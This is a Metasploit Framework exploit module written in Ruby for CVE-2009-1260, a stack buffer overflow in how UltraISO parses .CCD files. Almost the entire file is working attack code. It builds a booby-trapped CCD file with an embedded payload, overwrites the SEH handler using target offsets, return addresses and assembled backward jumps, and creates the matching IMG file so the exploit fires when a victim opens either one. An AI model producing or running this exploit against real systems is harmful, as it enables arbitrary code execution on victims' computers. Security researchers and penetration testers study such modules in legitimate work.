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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 | ## # $Id: ultraiso_ccd.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'UltraISO CCD File Parsing Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow in EZB Systems, Inc's UltraISO. When processing .CCD files, data is read from file into a fixed-size stack buffer. Since no bounds checking is done, a buffer overflow can occur. Attackers can execute arbitrary code by convincing their victim to open an CCD file. NOTE: A file with the same base name, but the extension of "img" must also exist. Opening either file will trigger the vulnerability, but the files must both exist. }, 'License'=> MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-1260' ], [ 'OSVDB', '53275' ], [ 'BID', '34363' ], # NOTE: The following BID is a duplicate of BID 34363 [ 'BID', '38613' ], # NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability. # [ 'OS-VDB', '53425' ], [ 'URL', 'http://www.exploit-db.com/exploits/8343' ] ], 'Payload'=> { 'Space' => 2048, 'BadChars'=> "\x00\x08\x0a\x0d\x20", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets'=> [ # Tested OK on: # v9.3.3.2685 # v9.3.6.2750 # The EXE base addr contains a bad char (nul). This prevents us from # using the super-elite multi-offset SEH exploitation method. [ 'Windows Universal - Double-Click/Command Line Open Method', { 'Offset' => 4094, # NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line. #'Ret' => 0x10011640 # p/p/r in lame_enc.dll # To make matters even worse, we can't use system dlls due to Safe SEH! #'Ret' => 0x71b26b7e # p/p/r in mpr.dll 'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit) } ], [ 'Windows Universal - File->Open + Toolbar Open Methods', { 'Offset' => [ 5066, 5158 ], 'Ret' => 0x10011640 # p/p/r in lame_enc.dll } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 03 2009', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.ccd']), ], self.class) end def exploit print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...") sploit = "[CloneCD]\r\n" sploit << "Version=3\r\n" sploit << "[Disc]\r\n" sploit << "TocEntries=4\r\n" sploit << "Sessions=1\r\n" sploit << "DataTracksScrambled=0\r\n" sploit << "CDTextLength=0\r\n" sploit << "[Session 1]\r\n" sploit << "PreGapMode=1\r\n" sploit << "PreGapSubC=0\r\n" sploit << "[Entry 0]\r\n" sploit << "Session=1\r\n" sploit << "Point=0xa0\r\n" sploit << "ADR=0x01\r\n" sploit << "Control=0x04\r\n" sploit << "TrackNo=0\r\n" sploit << "AMin=0\r\n" sploit << "ASec=0\r\n" sploit << "AFrame=0\r\n" sploit << "ALBA=-150\r\n" sploit << "Zero=0\r\n" sploit << "PMin=1\r\n" sploit << "PSec=0\r\n" sploit << "PFrame=0\r\n" sploit << "PLBA=4350\r\n" sploit << "[Entry 1]\r\n" sploit << "Session=1\r\n" sploit << "Point=0xa1\r\n" sploit << "ADR=0x01\r\n" sploit << "Control=0x04\r\n" sploit << "TrackNo=0\r\n" sploit << "AMin=0\r\n" sploit << "ASec=0\r\n" sploit << "AFrame=0\r\n" sploit << "ALBA=-150\r\n" sploit << "Zero=0\r\n" sploit << "PMin=1\r\n" sploit << "PSec=0\r\n" sploit << "PFrame=0\r\n" sploit << "PLBA=4350\r\n" sploit << "[Entry 2]\r\n" sploit << "Session=1\r\n" sploit << "Point=0xa2\r\n" sploit << "ADR=0x01\r\n" sploit << "Control=0x04\r\n" sploit << "TrackNo=0\r\n" sploit << "AMin=0\r\n" sploit << "ASec=0\r\n" sploit << "AFrame=0\r\n" sploit << "ALBA=-150\r\n" sploit << "Zero=0\r\n" sploit << "PMin=0\r\n" sploit << "PSec=2\r\n" sploit << "PFrame=34\r\n" sploit << "PLBA=34\r\n" sploit << "[Entry 3]\r\n" sploit << "Session=1\r\n" sploit << "Point=0x01\r\n" sploit << "ADR=0x01\r\n" sploit << "Control=0x04\r\n" sploit << "TrackNo=0\r\n" sploit << "AMin=0\r\n" sploit << "ASec=0\r\n" sploit << "AFrame=0\r\n" sploit << "ALBA=-150\r\n" sploit << "Zero=0\r\n" sploit << "PMin=0\r\n" sploit << "PSec=2\r\n" sploit << "PFrame=0\r\n" sploit << "PLBA=0\r\n" sploit << "[TRACK 1]\r\n" sploit << "MODE=1\r\n" sploit << "INDEX 1=" idx_line = '' idx_line << rand_text_alphanumeric(1000) * 9 # Stick the payload at the beginning idx_line[0,payload.encoded.length] = payload.encoded # If we have an array of offets, handle it specially seh_offset = target['Offset'] if (seh_offset.is_a?(::Array)) # Multiple offets that can be used simultaneously seh_offset.each { |off| seh = generate_seh_record(target.ret) distance = off + seh.length jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string idx_line[off, seh.length] = seh idx_line[off+seh.length, jmp.length] = jmp } else off = seh_offset # We'll manually construct this double-backward jumping SEH handler frame distance = off - 5 jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string distance = jmp1.length jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string seh = '' seh << jmp2 seh << rand_text(2) seh << [target.ret].pack('V') # we can't put anything below the return address due to a potential nul byte in it # Add the double-back-jumping SEH frame idx_line[off-5, jmp1.length] = jmp1 idx_line[off,seh.length] = seh end sploit << idx_line file_create(sploit) # create the empty IMG file imgfn = datastore['FILENAME'].dup imgfn.gsub!(/\.ccd$/, '.img') out = File.expand_path(File.join(datastore['OUTPUTPATH'], imgfn)) File.new(out,"wb").close print_status("Created empty output file #{out}") end end |
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